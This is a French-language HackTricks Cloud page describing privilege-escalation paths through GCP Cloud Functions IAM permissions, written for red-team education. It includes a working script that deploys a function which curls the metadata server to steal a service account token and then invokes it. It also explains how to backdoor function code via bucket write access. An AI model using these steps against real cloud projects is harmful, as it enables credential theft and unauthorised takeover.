GCP - Cloudfunctions Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

cloudfunctions

Plus d'informations sur Cloud Functions :

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaquant avec ces privilèges peut créer une nouvelle Cloud Function avec du code arbitraire (malveillant) et lui attribuer un compte de service. Ensuite, il peut récupérer le jeton du compte de service à partir des métadonnées pour élever ses privilèges. Certains privilèges pour déclencher la fonction peuvent être requis.

Des scripts d'exploitation pour cette méthode peuvent être trouvés ici et ici et le fichier .zip préconstruit peut être trouvé ici.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaquant avec ces privilèges peut modifier le code d'une fonction et même modifier le compte de service attaché dans le but d'exfiltrer le jeton.

Pour déployer des cloud functions, vous aurez également besoin de permissions actAs sur le compte de service par défaut ou sur le compte de service utilisé pour construire l'image.

Certains privilèges supplémentaires comme la permission .call pour la version 1 des cloudfunctions ou le rôle role/run.invoker pour déclencher la fonction peuvent être requis.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Si vous obtenez l'erreur Permission 'run.services.setIamPolicy' denied on resource..., c'est parce que vous utilisez le paramètre --allow-unauthenticated et que vous n'avez pas suffisamment de permissions pour cela.

Le script d'exploitation pour cette méthode peut être trouvé ici.

cloudfunctions.functions.sourceCodeSet

Avec cette permission, vous pouvez obtenir une URL signée pour pouvoir télécharger un fichier dans un bucket de fonction (mais le code de la fonction ne sera pas modifié, vous devez toujours le mettre à jour)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Je ne suis pas vraiment sûr de l'utilité de cette seule autorisation du point de vue d'un attaquant, mais c'est bon à savoir.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Donnez-vous l'un des précédents privilèges .update ou .create pour escalader.

cloudfunctions.functions.update

Avoir uniquement des autorisations cloudfunctions, sans iam.serviceAccounts.actAs, vous ne pourrez pas mettre à jour la fonction DONC CE N'EST PAS UN PRIVESC VALIDE.

Accès en lecture et écriture sur le bucket

Si vous avez un accès en lecture et écriture sur le bucket, vous pouvez surveiller les changements dans le code et chaque fois qu'une mise à jour dans le bucket se produit, vous pouvez mettre à jour le nouveau code avec votre propre code afin que la nouvelle version de la Cloud Function s'exécute avec le code de backdoor soumis.

Vous pouvez en savoir plus sur l'attaque dans :

GCP - Storage Privesc

Cependant, vous ne pouvez pas utiliser cela pour pré-compromettre des Cloud Functions tierces car si vous créez le bucket dans votre compte et lui donnez des autorisations publiques afin que le projet externe puisse écrire dessus, vous obtenez l'erreur suivante :

Cependant, cela pourrait être utilisé pour des attaques DoS.

Accès en lecture et écriture sur l'Artifact Registry

Lorsqu'une Cloud Function est créée, une nouvelle image docker est poussée vers l'Artifact Registry du projet. J'ai essayé de modifier l'image avec une nouvelle et même de supprimer l'image actuelle (et l'image cache), et rien n'a changé, la Cloud Function continue de fonctionner. Par conséquent, il pourrait être possible d'abuser d'une attaque de condition de course comme avec le bucket pour changer le conteneur docker qui sera exécuté, mais modifier simplement l'image stockée n'est pas possible pour compromettre la Cloud Function.

Références

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE) Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

• Consultez les plans d'abonnement !

• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.

• Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.